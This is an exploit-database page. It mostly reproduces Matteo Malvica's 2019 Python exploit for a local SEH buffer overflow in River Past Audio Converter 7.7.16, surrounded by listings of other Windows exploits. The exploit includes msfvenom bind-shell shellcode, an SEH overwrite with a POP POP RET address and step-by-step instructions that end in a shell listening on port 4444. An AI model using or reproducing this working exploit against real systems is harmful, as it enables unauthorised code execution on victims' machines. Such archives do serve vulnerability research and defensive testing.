Menu

Improved exploit search engine. Try python and hit enter

"River Past Audio Converter 7.7.16 - Buffer Overflow (SEH)"

Author

"Matteo Malvica"

Platform

windows

Release date

2019-02-06

Release Date Title Type Platform Author
2019-03-18 "WinAVI iPod/3GP/MP4/PSP Converter 4.4.2 - Denial of Service" dos windows Achilles
2019-03-18 "WinMPG Video Convert 9.3.5 - Denial of Service" dos windows Achilles
2019-03-15 "Mail Carrier 2.5.1 - 'MAIL FROM' Buffer Overflow" remote windows "Joseph McDonagh"
2019-02-22 "WinRAR 5.61 - Path Traversal" local windows WyAtu
2019-03-14 "FTPGetter Standard 5.97.0.177 - Remote Code Execution" remote windows w4fz5uck5
2019-03-13 "Apache Tika-server < 1.18 - Command Injection" remote windows "Rhino Security Labs"
2019-03-13 "Microsoft Windows MSHTML Engine - _Edit_ Remote Code Execution" local windows "Eduardo Braun Prado"
2019-03-13 "Core FTP Server FTP / SFTP Server v2 Build 674 - 'SIZE' Directory Traversal" dos windows "Kevin Randall"
2019-03-13 "Core FTP Server FTP / SFTP Server v2 Build 674 - 'MDTM' Directory Traversal" dos windows "Kevin Randall"
2019-03-13 "Microsoft Windows - .reg File / Dialog Box Message Spoofing" dos windows hyp3rlinx
2019-03-11 "PRTG Network Monitor 18.2.38 - Authenticated Remote Code Execution" webapps windows M4LV0
2019-03-11 "NetSetMan 4.7.1 - Local Buffer Overflow (SEH Unicode)" local windows "Devin Casadey"
2019-03-12 "Core FTP 2.0 build 653 - 'PBSZ' Denial of Service (PoC)" dos windows Hodorsec
2019-03-08 "McAfee ePO 5.9.1 - Registered Executable Local Access Bypass" webapps windows leonjza
2019-03-07 "Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)" local windows Hodorsec
2019-03-04 "MarcomCentral FusionPro VDP Creator < 10.0 - Directory Traversal" webapps windows 0v3rride
2019-03-04 "Splunk Enterprise 7.2.4 - Custom App RCE (Persistent Backdoor - Custom Binary Payload)" webapps windows "Matteo Malvica"
2019-03-04 "STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation (2)" local windows "Ivan Ivanovic"
2019-03-04 "Microsoft Edge Chakra 1.11.4 - Read Permission via Type Confusion" dos windows "Fahad Aid Alharbi"
2019-03-01 "Cisco WebEx Meetings < 33.6.6 / < 33.9.1 - Privilege Escalation" local windows SecureAuth
2019-02-28 "TransMac 12.3 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-02-25 "Xlight FTP Server 3.9.1 - Buffer Overflow (PoC)" dos windows "Logan Whitmire"
2019-02-22 "Nuuo Central Management - Authenticated SQL Server SQL Injection (Metasploit)" remote windows Metasploit
2019-02-21 "Memu Play 6.0.7 - Privilege Escalation" local windows "Alejandra Sánchez"
2019-02-21 "RealTerm Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow (SEH)" local windows "Matteo Malvica"
2019-02-21 "Virtual VCR Max .0a - '.vcr' Buffer Overflow (PoC)" dos windows "Wade Guest"
2019-02-20 "WinRAR 5.61 - '.lng' Denial of Service" dos windows "Kağan Çapar"
2019-02-20 "FTPShell Server 6.83 - 'Account name to ban' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-02-18 "mIRC < 7.55 - Remote Command Execution Using Argument Injection Through Custom URI Protocol Handlers" remote windows ProofOfCalc
2019-02-19 "MaxxAudio Drivers WavesSysSvc64.exe 1.6.2.0 - File Permissions SYSTEM Privilege Escalation" local windows "Mike Siegel"
Release Date Title Type Platform Author
2019-03-04 "Splunk Enterprise 7.2.4 - Custom App RCE (Persistent Backdoor - Custom Binary Payload)" webapps windows "Matteo Malvica"
2019-02-21 "RealTerm Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow (SEH)" local windows "Matteo Malvica"
2019-02-06 "River Past Audio Converter 7.7.16 - Buffer Overflow (SEH)" local windows "Matteo Malvica"
2019-01-28 "CloudMe Sync 1.11.2 Buffer Overflow - WoW64 - (DEP Bypass)" remote windows_x86-64 "Matteo Malvica"
2018-12-21 "AnyBurn 4.3 - Local Buffer Overflow (SEH)" local windows "Matteo Malvica"
2018-08-27 "CuteFTP 5.0 - Buffer Overflow" local windows_x86 "Matteo Malvica"
2018-10-09 "Free MP3 CD Ripper 2.8 - '.wma' Buffer Overflow (SEH) (DEP Bypass)" local windows_x86-64 "Matteo Malvica"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46331/?format=json')
For full documentation follow the link above

Ads

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# Exploit Title: River_Past_Audio_Converter - Buffer Overflow (SEH)
# Date: 06.02.2019
# Vendor Homepage: www.riverpast.com
# Software Link: https://en.softonic.com/download/river-past-audio-converter/windows/post-download?sl=3D1
# Exploit Author: Matteo Malvica
# Tested Version: 7.7.16
# Tested on: Windows 10 - 10.0.17134.1
# Vulnerability Type: Local Buffer Overflow (SEH)
#
# Steps:
# 1.- Run python code : River_Past_Audio_Converter.py
# 2.- Open carbonara.txt and copy content to clipboard
# 3.- Open River_PastAudio_Converter.exe and click on the 'Options' inside fhe 'File' menu.
# 4.- Paste the content of carbonara.txt into the 'Lame_enc.dll' name field.
# 5.- Click 'OK' and you will have a bind shell listening on port 4444.

import socket
import struct

#msfvenom -p windows/shell_bind_tcp LPORT=4444  -a x86 -b '\x00\x0d\x0a\x42'  -f python
shellcode =  ""
shellcode += "\x31\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\xba\xfe\x4d\xcc\x83\xee\xfc\xe2\xf4\x46\x16"
shellcode += "\xcf\xcc\xba\xfe\x2d\x45\x5f\xcf\x8d\xa8\x31\xae\x7d"
shellcode += "\x47\xe8\xf2\xc6\x9e\xae\x75\x3f\xe4\xb5\x49\x07\xea"
shellcode += "\x8b\x01\xe1\xf0\xdb\x82\x4f\xe0\x9a\x3f\x82\xc1\xbb"
shellcode += "\x39\xaf\x3e\xe8\xa9\xc6\x9e\xaa\x75\x07\xf0\x31\xb2"
shellcode += "\x5c\xb4\x59\xb6\x4c\x1d\xeb\x75\x14\xec\xbb\x2d\xc6"
shellcode += "\x85\xa2\x1d\x77\x85\x31\xca\xc6\xcd\x6c\xcf\xb2\x60"
shellcode += "\x7b\x31\x40\xcd\x7d\xc6\xad\xb9\x4c\xfd\x30\x34\x81"
shellcode += "\x83\x69\xb9\x5e\xa6\xc6\x94\x9e\xff\x9e\xaa\x31\xf2"
shellcode += "\x06\x47\xe2\xe2\x4c\x1f\x31\xfa\xc6\xcd\x6a\x77\x09"
shellcode += "\xe8\x9e\xa5\x16\xad\xe3\xa4\x1c\x33\x5a\xa1\x12\x96"
shellcode += "\x31\xec\xa6\x41\xe7\x96\x7e\xfe\xba\xfe\x25\xbb\xc9"
shellcode += "\xcc\x12\x98\xd2\xb2\x3a\xea\xbd\x01\x98\x74\x2a\xff"
shellcode += "\x4d\xcc\x93\x3a\x19\x9c\xd2\xd7\xcd\xa7\xba\x01\x98"
shellcode += "\xa6\xb2\xa7\x1d\x2e\x47\xbe\x1d\x8c\xea\x96\xa7\xc3"
shellcode += "\x65\x1e\xb2\x19\x2d\x96\x4f\xcc\xab\xa2\xc4\x2a\xd0"
shellcode += "\xee\x1b\x9b\xd2\x3c\x96\xfb\xdd\x01\x98\x9b\xd2\x49"
shellcode += "\xa4\xf4\x45\x01\x98\x9b\xd2\x8a\xa1\xf7\x5b\x01\x98"
shellcode += "\x9b\x2d\x96\x38\xa2\xf7\x9f\xb2\x19\xd2\x9d\x20\xa8"
shellcode += "\xba\x77\xae\x9b\xed\xa9\x7c\x3a\xd0\xec\x14\x9a\x58"
shellcode += "\x03\x2b\x0b\xfe\xda\x71\xcd\xbb\x73\x09\xe8\xaa\x38"
shellcode += "\x4d\x88\xee\xae\x1b\x9a\xec\xb8\x1b\x82\xec\xa8\x1e"
shellcode += "\x9a\xd2\x87\x81\xf3\x3c\x01\x98\x45\x5a\xb0\x1b\x8a"
shellcode += "\x45\xce\x25\xc4\x3d\xe3\x2d\x33\x6f\x45\xbd\x79\x18"
shellcode += "\xa8\x25\x6a\x2f\x43\xd0\x33\x6f\xc2\x4b\xb0\xb0\x7e"
shellcode += "\xb6\x2c\xcf\xfb\xf6\x8b\xa9\x8c\x22\xa6\xba\xad\xb2"
shellcode += "\x19"


padding="\x21"*280
nseh = "\xEB\x12\x90\x90"
seh =  struct.pack('<L',0x10011977)  # 10011977 # POP POP RET
rest = "\x24" * (3000-len(padding)-len(shellcode)-4)
nops = "\x90\x90\x90\x90"

payload = padding + nseh + seh  + nops * 16 + shellcode + rest

try:
        f=open("carbonara.txt","w")
        print "[+] Creating %s bytes pasta payload.." %len(payload)
        f.write(payload)
        f.close()
        print "[+] Carbonara created!"

except:
        print "Carbonara cannot be created"